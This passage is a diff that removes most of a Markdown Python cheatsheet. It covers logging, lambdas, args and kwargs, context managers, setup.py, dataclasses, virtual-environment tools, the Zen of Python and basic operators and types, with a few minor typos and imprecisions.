-| Level      | Logging Function     | Description                                                                                                                    |
-| ---------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
-| `DEBUG`    | `logging.debug()`    | The lowest level. Used for small details. Usually you care about these messages only when diagnosing problems.                 |
-| `INFO`     | `logging.info()`     | Used to record information on general events in your program or confirm that things are working at their point in the program. |
-| `WARNING`  | `logging.warning()`  | Used to indicate a potential problem that doesn't prevent the program from working but might do so in the future.              |
-| `ERROR`    | `logging.error()`    | Used to record an error that caused the program to fail to do something.                                                       |
-| `CRITICAL` | `logging.critical()` | The highest level. Used to indicate a fatal error that has caused or is about to cause the program to stop running entirely.   |
-
-_Return to the Top_
-
-#### Disabling Logging
-
-After you've debugged your program, you probably don't want all these log messages cluttering the screen. The logging.disable() function disables these so that you don't have to go into your program and remove all the logging calls by hand.
-
-```python
->>> import logging
-
->>> logging.basicConfig(level=logging.INFO, format=' %(asctime)s -%(levelname)s - %(message)s')
-
->>> logging.critical('Critical error! Critical error!')
-2015-05-22 11:10:48,054 - CRITICAL - Critical error! Critical error!
-
->>> logging.disable(logging.CRITICAL)
-
->>> logging.critical('Critical error! Critical error!')
-
->>> logging.error('Error! Error!')
-```
-
-_Return to the Top_
-
-#### Logging to a File
-
-Instead of displaying the log messages to the screen, you can write them to a text file. The logging.basicConfig() function takes a filename keyword argument, like so:
-
-```python
-import logging
-
-logging.basicConfig(filename='myProgramLog.txt', level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
-```
-
-_Return to the Top_
-
-### Lambda Functions
-
-This function:
-
-```python
->>> def add(x, y):
-        return x + y
-
->>> add(5, 3)
-8
-```
-
-Is equivalent to the _lambda_ function:
-
-```python
->>> add = lambda x, y: x + y
->>> add(5, 3)
-8
-```
-
-It's not even need to bind it to a name like add before:
-
-```python
->>> (lambda x, y: x + y)(5, 3)
-8
-```
-
-Like regular nested functions, lambdas also work as lexical closures:
-
-```python
->>> def make_adder(n):
-        return lambda x: x + n
-
->>> plus_3 = make_adder(3)
->>> plus_5 = make_adder(5)
-
->>> plus_3(4)
-7
->>> plus_5(4)
-9
-```
-
-Note: lambda can only evaluate an expression, like a single line of code.
-
-_Return to the Top_
-
-### Ternary Conditional Operator
-
-Many programming languages have a ternary operator, which define a conditional expression. The most common usage is to make a terse simple conditional assignment statement. In other words, it offers one-line code to evaluate the first expression if the condition is true, otherwise it evaluates the second expression.
-
-```
-<expression1> if <condition> else <expression2>
-```
-
-Example:
-
-```python
->>> age = 15
-
->>> print('kid' if age < 18 else 'adult')
-kid
-```
-
-Ternary operators can be chained:
-
-```python
->>> age = 15
-
->>> print('kid' if age < 13 else 'teenager' if age < 18 else 'adult')
-teenager
-```
-
-The code above is equivalent to:
-
-```python
-if age < 18:
-    if age < 13:
-        print('kid')
-    else:
-        print('teenager')
-else:
-    print('adult')
-```
-
-_Return to the Top_
-
-### args and kwargs
-
-The names `args and kwargs` are arbitrary - the important thing are the `*` and `**` operators. They can mean:
-
-1. In a function declaration, `*` means "pack all remaining positional arguments into a tuple named `<name>`", while `**` is the same for keyword arguments (except it uses a dictionary, not a tuple).
-2. In a function call, `*` means "unpack tuple or list named `<name>` to positional arguments at this position", while `**` is the same for keyword arguments.
-
-For example you can make a function that you can use to call any other function, no matter what parameters it has:
-
-```python
-def forward(f, *args, **kwargs):
-    return f(*args, **kwargs)
-```
-
-Inside forward, args is a tuple (of all positional arguments except the first one, because we specified it - the f), kwargs is a dict. Then we call f and unpack them so they become normal arguments to f.
-
-You use `*args` when you have an indefinite amount of positional arguments.
-
-```python
->>> def fruits(*args):
->>>    for fruit in args:
->>>       print(fruit)
-
->>> fruits("apples", "bananas", "grapes")
-
-"apples"
-"bananas"
-"grapes"
-```
-
-Similarly, you use `**kwargs` when you have an indefinite number of keyword arguments.
-
-```python
->>> def fruit(**kwargs):
->>>    for key, value in kwargs.items():
->>>        print("{0}: {1}".format(key, value))
-
->>> fruit(name = "apple", color = "red")
-
-name: apple
-color: red
-```
-
-```python
->>> def show(arg1, arg2, *args, kwarg1=None, kwarg2=None, **kwargs):
->>>   print(arg1)
->>>   print(arg2)
->>>   print(args)
->>>   print(kwarg1)
->>>   print(kwarg2)
->>>   print(kwargs)
-
->>> data1 = [1,2,3]
->>> data2 = [4,5,6]
->>> data3 = {'a':7,'b':8,'c':9}
-
->>> show(*data1,*data2, kwarg1="python",kwarg2="cheatsheet",**data3)
-1
-2
-(3, 4, 5, 6)
-python
-cheatsheet
-{'a': 7, 'b': 8, 'c': 9}
-
->>> show(*data1, *data2, **data3)
-1
-2
-(3, 4, 5, 6)
-None
-None
-{'a': 7, 'b': 8, 'c': 9}
-
-# If you do not specify ** for kwargs
->>> show(*data1, *data2, *data3)
-1
-2
-(3, 4, 5, 6, "a", "b", "c")
-None
-None
-{}
-```
-
-#### Things to Remember(args)
-
-1. Functions can accept a variable number of positional arguments by using `*args` in the def statement.
-2. You can use the items from a sequence as the positional arguments for a function with the `*` operator.
-3. Using the `*` operator with a generator may cause your program to run out of memory and crash.
-4. Adding new positional parameters to functions that accept `*args` can introduce hard-to-find bugs.
-
-#### Things to Remember(kwargs)
-
-1. Function arguments can be specified by position or by keyword.
-2. Keywords make it clear what the purpose of each argument is when it would be confusing with only positional arguments.
-3. Keyword arguments with default values make it easy to add new behaviors to a function, especially when the function has existing callers.
-4. Optional keyword arguments should always be passed by keyword instead of by position.
-
-_Return to the Top_
-
-### Context Manager
-
-While Python's context managers are widely used, few understand the purpose behind their use. These statements, commonly used with reading and writing files, assist the application in conserving system memory and improve resource management by ensuring specific resources are only in use for certain processes.
-
-#### with statement
-
-A context manager is an object that is notified when a context (a block of code) starts and ends. You commonly use one with the with statement. It takes care of the notifying.
-
-For example, file objects are context managers. When a context ends, the file object is closed automatically:
-
-```python
->>> with open(filename) as f:
->>>     file_contents = f.read()
-
-# the open_file object has automatically been closed.
-```
-
-Anything that ends execution of the block causes the context manager's exit method to be called. This includes exceptions, and can be useful when an error causes you to prematurely exit from an open file or connection. Exiting a script without properly closing files/connections is a bad idea, that may cause data loss or other problems. By using a context manager you can ensure that precautions are always taken to prevent damage or loss in this way.
-
-#### Writing your own contextmanager using generator syntax
-
-It is also possible to write a context manager using generator syntax thanks to the `contextlib.contextmanager` decorator:
-
-```python
->>> import contextlib
->>> @contextlib.contextmanager
-... def context_manager(num):
-...     print('Enter')
-...     yield num + 1
-...     print('Exit')
->>> with context_manager(2) as cm:
-...     # the following instructions are run when the 'yield' point of the context
-...     # manager is reached.
-...     # 'cm' will have the value that was yielded
-...     print('Right in the middle with cm = {}'.format(cm))
-Enter
-Right in the middle with cm = 3
-Exit
-
->>>
-```
-
-_Return to the Top_
-
-### `__main__` Top-level script environment
-
-`__main__` is the name of the scope in which top-level code executes. A module's **name** is set equal to `__main__` when read from standard input, a script, or from an interactive prompt.
-
-A module can discover whether or not it is running in the main scope by checking its own `__name__`, which allows a common idiom for conditionally executing code in a module when it is run as a script or with `python -m` but not when it is imported:
-
-```python
->>> if __name__ == "__main__":
-...     # execute only if run as a script
-...     main()
-```
-
-For a package, the same effect can be achieved by including a **main**.py module, the contents of which will be executed when the module is run with -m
-
-For example we are developing script which is designed to be used as module, we should do:
-
-```python
->>> # Python program to execute function directly
->>> def add(a, b):
-...     return a+b
-...
->>> add(10, 20) # we can test it by calling the function save it as calculate.py
-30
->>> # Now if we want to use that module by importing we have to comment out our call,
->>> # Instead we can write like this in calculate.py
->>> if __name__ == "__main__":
-...     add(3, 5)
-...
->>> import calculate
->>> calculate.add(3, 5)
-8
-```
-
-#### Advantages
-
-1. Every Python module has it's `__name__` defined and if this is `__main__`, it implies that the module is being run standalone by the user and we can do corresponding appropriate actions.
-2. If you import this script as a module in another script, the **name** is set to the name of the script/module.
-3. Python files can act as either reusable modules, or as standalone programs.
-4. if `__name__ == "main":` is used to execute some code only if the file was run directly, and not imported.
-
-_Return to the Top_
-
-### setup.py
-
-The setup script is the centre of all activity in building, distributing, and installing modules using the Distutils. The main purpose of the setup script is to describe your module distribution to the Distutils, so that the various commands that operate on your modules do the right thing.
-
-The `setup.py` file is at the heart of a Python project. It describes all of the metadata about your project. There a quite a few fields you can add to a project to give it a rich set of metadata describing the project. However, there are only three required fields: name, version, and packages. The name field must be unique if you wish to publish your package on the Python Package Index (PyPI). The version field keeps track of different releases of the project. The packages field describes where you've put the Python source code within your project.
-
-This allows you to easily install Python packages. Often it's enough to write:
-
-```bash
-python setup.py install
-```
-
-and module will install itself.
-
-Our initial setup.py will also include information about the license and will re-use the README.txt file for the long_description field. This will look like:
-
-```python
->>> from distutils.core import setup
->>> setup(
-...    name='pythonCheatsheet',
-...    version='0.1',
-...    packages=['pipenv',],
-...    license='MIT',
-...    long_description=open('README.txt').read(),
-... )
-```
-
-Find more information visit [http://docs.python.org/install/index.html](http://docs.python.org/install/index.html).
-
-_Return to the Top_
-
-### Dataclasses
-
-`Dataclasses` are python classes but are suited for storing data objects. This module provides a decorator and functions for automatically adding generated special methods such as `__init__()` and `__repr__()` to user-defined classes.
-
-#### Features
-
-1. They store data and represent a certain data type. Ex: A number. For people familiar with ORMs, a model instance is a data object. It represents a specific kind of entity. It holds attributes that define or represent the entity.
-2. They can be compared to other objects of the same type. Ex: A number can be greater than, less than, or equal to another number.
-
-Python 3.7 provides a decorator dataclass that is used to convert a class into a dataclass.
-
-python 2.7
-
-```python
->>> class Number:
-...     def __init__(self, val):
-...         self.val = val
-...
->>> obj = Number(2)
->>> obj.val
-2
-```
-
-with dataclass
-
-```python
->>> @dataclass
-... class Number:
-...     val: int
-...
->>> obj = Number(2)
->>> obj.val
-2
-```
-
-_Return to the Top_
-
-#### Default values
-
-It is easy to add default values to the fields of your data class.
-
-```python
->>> @dataclass
-... class Product:
-...     name: str
-...     count: int = 0
-...     price: float = 0.0
-...
->>> obj = Product("Python")
->>> obj.name
-Python
->>> obj.count
-0
->>> obj.price
-0.0
-```
-
-#### Type hints
-
-It is mandatory to define the data type in dataclass. However, If you don't want specify the datatype then, use `typing.Any`.
-
-```python
->>> from dataclasses import dataclass
->>> from typing import Any
-
->>> @dataclass
-... class WithoutExplicitTypes:
-...    name: Any
-...    value: Any = 42
-...
-```
-
-_Return to the Top_
-
-### Virtual Environment
-
-The use of a Virtual Environment is to test python code in encapsulated environments and to also avoid filling the base Python installation with libraries we might use for only one project.
-
-_Return to the Top_
-
-#### virtualenv
-
-1.  Install virtualenv
-
-    ```
-    pip install virtualenv
-    ```
-
-2.  Install virtualenvwrapper-win (Windows)
-
-    ```
-    pip install virtualenvwrapper-win
-    ```
-
-Usage:
-
-1.  Make a Virtual Environment
-
-    ```
-    mkvirtualenv HelloWold
-    ```
-
-    Anything we install now will be specific to this project. And available to the projects we connect to this environment.
-
-2.  Set Project Directory
-
-    To bind our virtualenv with our current working directory we simply enter:
-
-    ```
-    setprojectdir .
-    ```
-
-3.  Deactivate
-
-    To move onto something else in the command line type ‘deactivate' to deactivate your environment.
-
-    ```
-    deactivate
-    ```
-
-    Notice how the parenthesis disappear.
-
-4.  Workon
-
-    Open up the command prompt and type ‘workon HelloWold' to activate the environment and move into your root project folder
-
-    ```
-    workon HelloWold
-    ```
-
-_Return to the Top_
-
-#### poetry
-
-> [Poetry](https://poetry.eustace.io) is a tool for dependency management and packaging in Python. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you.
-
-1.  Install Poetry
-
-    ```
-    pip install --user poetry
-    ```
-
-2.  Create a new project
-
-    ```
-    poetry new my-project
-    ```
-
-    This will create a my-project directory:
-
-    ```
-    my-project
-    ├── pyproject.toml
-    ├── README.rst
-    ├── poetry_demo
-    │   └── __init__.py
-    └── tests
-        ├── __init__.py
-        └── test_poetry_demo.py
-    ```
-
-    The pyproject.toml file will orchestrate your project and its dependencies:
-
-    ```
-    [tool.poetry]
-    name = "my-project"
-    version = "0.1.0"
-    description = ""
-    authors = ["your name <your@mail.com>"]
-
-    [tool.poetry.dependencies]
-    python = "*"
-
-    [tool.poetry.dev-dependencies]
-    pytest = "^3.4"
-    ```
-
-3.  Packages
-
-    To add dependencies to your project, you can specify them in the tool.poetry.dependencies section:
-
-    ```
-    [tool.poetry.dependencies]
-    pendulum = "^1.4"
-    ```
-
-    Also, instead of modifying the pyproject.toml file by hand, you can use the add command and it will automatically find a suitable version constraint.
-
-    ```
-    $ poetry add pendulum
-    ```
-
-    To install the dependencies listed in the pyproject.toml:
-
-    ```
-    poetry install
-    ```
-
-    To remove dependencies:
-
-    ```
-    poetry remove pendulum
-    ```
-
-For more information, check the [documentation](https://poetry.eustace.io/docs/).
-
-_Return to the Top_
-
-#### pipenv
-
-> [Pipenv](https://pipenv.readthedocs.io/en/latest/) is a tool that aims to bring the best of all packaging worlds (bundler, composer, npm, cargo, yarn, etc.) to the Python world. Windows is a first-class citizen, in our world.
-
-1.  Install pipenv
-
-    ```
-    pip install pipenv
-    ```
-
-2.  Enter your Project directory and install the Packages for your project
-
-    ```
-    cd my_project
-    pipenv install <package>
-    ```
-
-    Pipenv will install your package and create a Pipfile for you in your project's directory. The Pipfile is used to track which dependencies your project needs in case you need to re-install them.
-
-3.  Uninstall Packages
-
-    ```
-    pipenv uninstall <package>
-    ```
-
-4.  Activate the Virtual Environment associated with your Python project
-
-    ```
-    pipenv shell
-    ```
-
-5.  Exit the Virtual Environment
-
-    ```
-    exit
-    ```
-
-Find more information and a video in [docs.pipenv.org](https://docs.pipenv.org).
-
-_Return to the Top_
-
-#### anaconda
-
-[Anaconda](https://anaconda.org) is another popular tool to manage python packages.
-
-> Where packages, notebooks, projects and environments are shared. Your place for free public conda package hosting.
-
-Usage:
-
-1.  Make a Virtual Environment
-
-    ```
-    conda create -n HelloWorld
-    ```
-
-2.  To use the Virtual Environment, activate it by:
-
-    ```
-    conda activate HelloWorld
-    ```
-
-    Anything installed now will be specific to the project HelloWorld
-
-3.  Exit the Virtual Environment
-
-    ```
-    conda deactivate
-    ```
-
-_Return to the Top_
-
-````
-## Python Cheatsheet
-
-- [About](#about)
-  - [Contribute](#contribute)
-  - [Read It](#read-it)
-  - [Python Cheatsheet](#python-cheatsheet)
-  - [The Zen of Python](#the-zen-of-python)
-  - [Python Basics](#python-basics)
-    - [Math Operators](#math-operators)
-    - [Data Types](#data-types)
-    - [String Concatenation and Replication](#string-concatenation-and-replication)
-    - [Variables](#variables)
-    - [Comments](#comments)
-    - [The print() Function](#the-print-function)
-    - [The input() Function](#the-input-function)
-    - [The len() Function](#the-len-function)
-    - [The str(), int(), and float() Functions](#the-str-int-and-float-functions)
-  - [Flow Control](#flow-control)
-    - [Comparison Operators](#comparison-operators)
-    - [Boolean evaluation](#boolean-evaluation)
-    - [Boolean Operators](#boolean-operators)
-    - [Mixing Boolean and Comparison Operators](#mixing-boolean-and-comparison-operators)
-    - [if Statements](#if-statements)
-    - [else Statements](#else-statements)
-    - [elif Statements](#elif-statements)
-    - [while Loop Statements](#while-loop-statements)
-    - [break Statements](#break-statements)
-    - [continue Statements](#continue-statements)
-    - [for Loops and the range() Function](#for-loops-and-the-range-function)
-    - [For else statement](#for-else-statement)
-    - [Importing Modules](#importing-modules)
-    - [Ending a Program Early with sys.exit()](#ending-a-program-early-with-sysexit)
-  - [Functions](#functions)
-    - [Return Values and return Statements](#return-values-and-return-statements)
-    - [The None Value](#the-none-value)
-    - [Keyword Arguments and print()](#keyword-arguments-and-print)
-    - [Local and Global Scope](#local-and-global-scope)
-    - [The global Statement](#the-global-statement)
-  - [Exception Handling](#exception-handling)
-    - [Basic exception handling](#basic-exception-handling)
-    - [Final code in exception handling](#final-code-in-exception-handling)
-  - [Lists](#lists)
-    - [Getting Individual Values in a List with Indexes](#getting-individual-values-in-a-list-with-indexes)
-    - [Negative Indexes](#negative-indexes)
-    - [Getting Sublists with Slices](#getting-sublists-with-slices)
-    - [Getting a List's Length with len()](#getting-a-lists-length-with-len)
-    - [Changing Values in a List with Indexes](#changing-values-in-a-list-with-indexes)
-    - [List Concatenation and List Replication](#list-concatenation-and-list-replication)
-    - [Removing Values from Lists with del Statements](#removing-values-from-lists-with-del-statements)
-    - [Using for Loops with Lists](#using-for-loops-with-lists)
-    - [Looping Through Multiple Lists with zip()](#looping-through-multiple-lists-with-zip)
-    - [The in and not in Operators](#the-in-and-not-in-operators)
-    - [The Multiple Assignment Trick](#the-multiple-assignment-trick)
-    - [Augmented Assignment Operators](#augmented-assignment-operators)
-    - [Finding a Value in a List with the index() Method](#finding-a-value-in-a-list-with-the-index-method)
-    - [Adding Values to Lists with the append() and insert() Methods](#adding-values-to-lists-with-the-append-and-insert-methods)
-    - [Removing Values from Lists with remove()](#removing-values-from-lists-with-remove)
-    - [Removing Values from Lists with pop()](#removing-values-from-lists-with-pop)
-    - [Sorting the Values in a List with the sort() Method](#sorting-the-values-in-a-list-with-the-sort-method)
-    - [Tuple Data Type](#tuple-data-type)
-    - [Converting Types with the list() and tuple() Functions](#converting-types-with-the-list-and-tuple-functions)
-  - [Dictionaries and Structuring Data](#dictionaries-and-structuring-data)
-    - [The keys(), values(), and items() Methods](#the-keys-values-and-items-methods)
-    - [Checking Whether a Key or Value Exists in a Dictionary](#checking-whether-a-key-or-value-exists-in-a-dictionary)
-    - [The get() Method](#the-get-method)
-    - [The setdefault() Method](#the-setdefault-method)
-    - [Pretty Printing](#pretty-printing)
-    - [Merge two dictionaries](#merge-two-dictionaries)
-  - [sets](#sets)
-    - [Initializing a set](#initializing-a-set)
-    - [sets: unordered collections of unique elements](#sets-unordered-collections-of-unique-elements)
-    - [set add() and update()](#set-add-and-update)
-    - [set remove() and discard()](#set-remove-and-discard)
-    - [set union()](#set-union)
-    - [set intersection](#set-intersection)
-    - [set difference](#set-difference)
-    - [set symetric_difference](#set-symetric_difference)
-  - [itertools Module](#itertools-module)
-    - [accumulate()](#accumulate)
-    - [combinations()](#combinations)
-    - [combinations_with_replacement()](#combinations_with_replacement)
-    - [count()](#count)
-    - [cycle()](#cycle)
-    - [chain()](#chain)
-    - [compress()](#compress)
-    - [dropwhile()](#dropwhile)
-    - [filterfalse()](#filterfalse)
-    - [groupby()](#groupby)
-    - [islice()](#islice)
-    - [permutations()](#permutations)
-    - [product()](#product)
-    - [repeat()](#repeat)
-    - [starmap()](#starmap)
-    - [takewhile()](#takewhile)
-    - [tee()](#tee)
-    - [zip_longest()](#zip_longest)
-  - [Comprehensions](#comprehensions)
-    - [List comprehension](#list-comprehension)
-    - [Set comprehension](#set-comprehension)
-    - [Dict comprehension](#dict-comprehension)
-  - [Manipulating Strings](#manipulating-strings)
-    - [Escape Characters](#escape-characters)
-    - [Raw Strings](#raw-strings)
-    - [Multiline Strings with Triple Quotes](#multiline-strings-with-triple-quotes)
-    - [Indexing and Slicing Strings](#indexing-and-slicing-strings)
-    - [The in and not in Operators with Strings](#the-in-and-not-in-operators-with-strings)
-    - [The in and not in Operators with list](#the-in-and-not-in-operators-with-list)
-    - [The upper(), lower(), isupper(), and islower() String Methods](#the-upper-lower-isupper-and-islower-string-methods)
-    - [The isX String Methods](#the-isx-string-methods)
-    - [The startswith() and endswith() String Methods](#the-startswith-and-endswith-string-methods)
-    - [The join() and split() String Methods](#the-join-and-split-string-methods)
-    - [Justifying Text with rjust(), ljust(), and center()](#justifying-text-with-rjust-ljust-and-center)
-    - [Removing Whitespace with strip(), rstrip(), and lstrip()](#removing-whitespace-with-strip-rstrip-and-lstrip)
-    - [Copying and Pasting Strings with the pyperclip Module (need pip install)](#copying-and-pasting-strings-with-the-pyperclip-module-need-pip-install)
-  - [String Formatting](#string-formatting)
-    - [% operator](#-operator)
-    - [String Formatting (str.format)](#string-formatting-strformat)
-    - [Lazy string formatting](#lazy-string-formatting)
-    - [Formatted String Literals or f-strings (Python 3.6+)](#formatted-string-literals-or-f-strings-python-36)
-    - [Template Strings](#template-strings)
-  - [Regular Expressions](#regular-expressions)
-    - [Matching Regex Objects](#matching-regex-objects)
-    - [Grouping with Parentheses](#grouping-with-parentheses)
-    - [Matching Multiple Groups with the Pipe](#matching-multiple-groups-with-the-pipe)
-    - [Optional Matching with the Question Mark](#optional-matching-with-the-question-mark)
-    - [Matching Zero or More with the Star](#matching-zero-or-more-with-the-star)
-    - [Matching One or More with the Plus](#matching-one-or-more-with-the-plus)
-    - [Matching Specific Repetitions with Curly Brackets](#matching-specific-repetitions-with-curly-brackets)
-    - [Greedy and Nongreedy Matching](#greedy-and-nongreedy-matching)
-    - [The findall() Method](#the-findall-method)
-    - [Making Your Own Character Classes](#making-your-own-character-classes)
-    - [The Caret and Dollar Sign Characters](#the-caret-and-dollar-sign-characters)
-    - [The Wildcard Character](#the-wildcard-character)
-    - [Matching Everything with Dot-Star](#matching-everything-with-dot-star)
-    - [Matching Newlines with the Dot Character](#matching-newlines-with-the-dot-character)
-    - [Review of Regex Symbols](#review-of-regex-symbols)
-    - [Case-Insensitive Matching](#case-insensitive-matching)
-    - [Substituting Strings with the sub() Method](#substituting-strings-with-the-sub-method)
-    - [Managing Complex Regexes](#managing-complex-regexes)
-  - [Handling File and Directory Paths](#handling-file-and-directory-paths)
-    - [Backslash on Windows and Forward Slash on OS X and Linux](#backslash-on-windows-and-forward-slash-on-os-x-and-linux)
-    - [The Current Working Directory](#the-current-working-directory)
-    - [Creating New Folders](#creating-new-folders)
-    - [Absolute vs. Relative Paths](#absolute-vs-relative-paths)
-    - [Handling Absolute and Relative Paths](#handling-absolute-and-relative-paths)
-    - [Checking Path Validity](#checking-path-validity)
-    - [Finding File Sizes and Folder Contents](#finding-file-sizes-and-folder-contents)
-    - [Copying Files and Folders](#copying-files-and-folders)
-    - [Moving and Renaming Files and Folders](#moving-and-renaming-files-and-folders)
-    - [Permanently Deleting Files and Folders](#permanently-deleting-files-and-folders)
-    - [Safe Deletes with the send2trash Module](#safe-deletes-with-the-send2trash-module)
-    - [Walking a Directory Tree](#walking-a-directory-tree)
-  - [Reading and Writing Files](#reading-and-writing-files)
-    - [The File Reading/Writing Process](#the-file-readingwriting-process)
-    - [Opening and reading files with the open() function](#opening-and-reading-files-with-the-open-function)
-    - [Writing to Files](#writing-to-files)
-    - [Saving Variables with the shelve Module](#saving-variables-with-the-shelve-module)
-    - [Saving Variables with the pprint.pformat() Function](#saving-variables-with-the-pprintpformat-function)
-    - [Reading ZIP Files](#reading-zip-files)
-    - [Extracting from ZIP Files](#extracting-from-zip-files)
-    - [Creating and Adding to ZIP Files](#creating-and-adding-to-zip-files)
-  - [JSON, YAML and configuration files](#json-yaml-and-configuration-files)
-    - [JSON](#json)
-    - [YAML](#yaml)
-    - [Anyconfig](#anyconfig)
-  - [Debugging](#debugging)
-    - [Raising Exceptions](#raising-exceptions)
-    - [Getting the Traceback as a String](#getting-the-traceback-as-a-string)
-    - [Assertions](#assertions)
-    - [Logging](#logging)
-    - [Logging Levels](#logging-levels)
-    - [Disabling Logging](#disabling-logging)
-    - [Logging to a File](#logging-to-a-file)
-  - [Lambda Functions](#lambda-functions)
-  - [Ternary Conditional Operator](#ternary-conditional-operator)
-  - [args and kwargs](#args-and-kwargs)
-    - [Things to Remember(args)](#things-to-rememberargs)
-    - [Things to Remember(kwargs)](#things-to-rememberkwargs)
-  - [Context Manager](#context-manager)
-    - [with statement](#with-statement)
-    - [Writing your own contextmanager using generator syntax](#writing-your-own-contextmanager-using-generator-syntax)
-  - [`__main__` Top-level script environment](#__main__-top-level-script-environment)
-    - [Advantages](#advantages)
-  - [setup.py](#setuppy)
-  - [Dataclasses](#dataclasses)
-    - [Features](#features)
-    - [Default values](#default-values)
-    - [Type hints](#type-hints)
-  - [Virtual Environment](#virtual-environment)
-    - [virtualenv](#virtualenv)
-    - [poetry](#poetry)
-    - [pipenv](#pipenv)
-    - [anaconda](#anaconda)
-
-## The Zen of Python
-
-From the [PEP 20 -- The Zen of Python](https://www.python.org/dev/peps/pep-0020/):
-
-> Long time Pythoneer Tim Peters succinctly channels the BDFL's guiding principles for Python's design into 20 aphorisms, only 19 of which have been written down.
-
-```python
->>> import this
-The Zen of Python, by Tim Peters
-
-Beautiful is better than ugly.
-Explicit is better than implicit.
-Simple is better than complex.
-Complex is better than complicated.
-Flat is better than nested.
-Sparse is better than dense.
-Readability counts.
-Special cases aren't special enough to break the rules.
-Although practicality beats purity.
-Errors should never pass silently.
-Unless explicitly silenced.
-In the face of ambiguity, refuse the temptation to guess.
-There should be one-- and preferably only one --obvious way to do it.
-Although that way may not be obvious at first unless you're Dutch.
-Now is better than never.
-Although never is often better than *right* now.
-If the implementation is hard to explain, it's a bad idea.
-If the implementation is easy to explain, it may be a good idea.
-Namespaces are one honking great idea -- let's do more of those!
-````
-
-_Return to the Top_
-
-## Python Basics
-
-### Math Operators
-
-From **Highest** to **Lowest** precedence:
-
-| Operators | Operation         | Example         |
-| --------- | ----------------- | --------------- |
-| \*\*      | Exponent          | `2 ** 3 = 8`    |
-| %         | Modulus/Remainder | `22 % 8 = 6`    |
-| //        | Integer division  | `22 // 8 = 2`   |
-| /         | Division          | `22 / 8 = 2.75` |
-| \*        | Multiplication    | `3 * 3 = 9`     |
-| -         | Subtraction       | `5 - 2 = 3`     |
-| +         | Addition          | `2 + 2 = 4`     |
-
-Examples of expressions in the interactive shell:
-
-```python
->>> 2 + 3 * 6
-20
-```
-
-```python
->>> (2 + 3) * 6
-30
-```
-
-```python
->>> 2 ** 8
-256
-```
-
-```python
->>> 23 // 7
-3
-```
-
-```python
->>> 23 % 7
-2
-```
-
-```python
->>> (5 - 1) * ((7 + 1) / (3 - 1))
-16.0
-```
-
-_Return to the Top_
-
-### Data Types
-
-| Data Type              | Examples                                  |
-| ---------------------- | ----------------------------------------- |
-| Integers               | `-2, -1, 0, 1, 2, 3, 4, 5`                |
-| Floating-point numbers | `-1.25, -1.0, --0.5, 0.0, 0.5, 1.0, 1.25` |
-| Strings                | `'a', 'aa', 'aaa', 'Hello!', '11 cats'`   |
-
-_Return to the Top_
-
-### String Concatenation and Replication
-
-String concatenation:
-
-```python
->>> 'Alice' 'Bob'
-'AliceBob'
-```
-
-Note: Avoid `+` operator for string concatenation. Prefer string formatting.
-
-String Replication:
-
-```python
->>> 'Alice' * 5
-'AliceAliceAliceAliceAlice'
-```
-
-_Return to the Top_
-
-### Variables
-
-You can name a variable anything as long as it obeys the following rules:
-
-1. It can be only one word.
-2. It can use only letters, numbers, and the underscore (`_`) character.
-3. It can't begin with a number.
-4. Variable name starting with an underscore (`_`) are considered as "unuseful\`.
-
-Example:
-
-```python
->>> spam = 'Hello'
->>> spam
-'Hello'
-```
-
-```python
->>> _spam = 'Hello'
-```
-
-`_spam` should not be used again in the code.
-
-_Return to the Top_
-
-### Comments
-
-Inline comment:
-
-```python
-# This is a comment
-```
-
-Multiline comment:
-
-```
-# This is a
-# multiline comment
-```
-
-Code with a comment:
-
-```python
-a = 1  # initialization
-```
-
-Please note the two spaces in front of the comment.
-
-Function docstring:
-
-```python
-def foo():
-    """
-    This is a function docstring
-    You can also use:
-    ''' Function Docstring '''
-    """
-```
-
-_Return to the Top_
-
-### The print() Function
-
-```python
->>> print('Hello world!')
-Hello world!
-```
-
-```python
->>> a = 1
->>> print('Hello world!', a)
-Hello world! 1
-```
-
-_Return to the Top_
-
-### The input() Function
-
-Example Code:
-
-```python
->>> print('What is your name?')   # ask for their name
->>> myName = input()
->>> print('It is good to meet you, {}'.format(myName))
-What is your name?
-Al
-It is good to meet you, Al
-```
-
-_Return to the Top_
-
-### The len() Function
-
-Evaluates to the integer value of the number of characters in a string:
-
-```python
->>> len('hello')
-5
-```
-
-Note: test of emptiness of strings, lists, dictionary, etc, should **not** use len, but prefer direct boolean evaluation.
-
-```python
->>> a = [1, 2, 3]
->>> if a:
->>>     print("the list is not empty!")
-```
-
-_Return to the Top_
-
-### The str(), int(), and float() Functions
-
-Integer to String or Float:
-
-```python
->>> str(29)
-'29'
-```
-
-```python
->>> print('I am {} years old.'.format(str(29)))
-I am 29 years old.
-```
-
-```python
->>> str(-3.14)
-'-3.14'
-```
-
-Float to Integer:
-
-```python
->>> int(7.7)
-7
-```
-
-```python
->>> int(7.7) + 1
-8
-```
-
-_Return to the Top_
-
-## Flow Control
-
-### Comparison Operators
-
-| Operator | Meaning                  |
-| -------- | ------------------------ |
-| `==`     | Equal to                 |
-| `!=`     | Not equal to             |
-| `<`      | Less than                |
-| `>`      | Greater Than             |
-| `<=`     | Less than or Equal to    |
-| `>=`     | Greater than or Equal to |
-
-These operators evaluate to True or False depending on the values you give them.
-
-Examples:
-
-```python
->>> 42 == 42
-True
-```
-
-```python
->>> 40 == 42
-False
-```
-
-```python
->>> 'hello' == 'hello'
-True
-```
-
-```python
->>> 'hello' == 'Hello'
-False
-```
-
-```python
->>> 'dog' != 'cat'
-True
-```
-
-```python
->>> 42 == 42.0
-True
-```
-
-```python
->>> 42 == '42'
-False
-```
-
-### Boolean evaluation
-
-Never use `==` or `!=` operator to evaluate boolean operation. Use the `is` or `is not` operators, or use implicit boolean evaluation.
-
-NO (even if they are valid Python):
-
-```python
->>> True == True
-True
-```
-
-```python
->>> True != False
-True
-```
-
-YES (even if they are valid Python):
-
-```python
->>> True is True
-True
-```
-
-```python
->>> True is not False
-True
-```
-
-These statements are equivalent:
-
-```
->>> if a is True:
->>>    pass
->>> if a is not False:
->>>    pass
->>> if a:
->>>    pass
-```
-
-And these as well:
-
-```
->>> if a is False:
->>>    pass
->>> if a is not True:
->>>    pass
->>> if not a:
->>>    pass
-```
-
-_Return to the Top_
-
-### Boolean Operators
-
-There are three Boolean operators: and, or, and not.
-
-The _and_ Operator's _Truth_ Table:
-
-| Expression        | Evaluates to |
-| ----------------- | ------------ |
-| `True and True`   | `True`       |
-| `True and False`  | `False`      |
-| `False and True`  | `False`      |
-| `False and False` | `False`      |
-
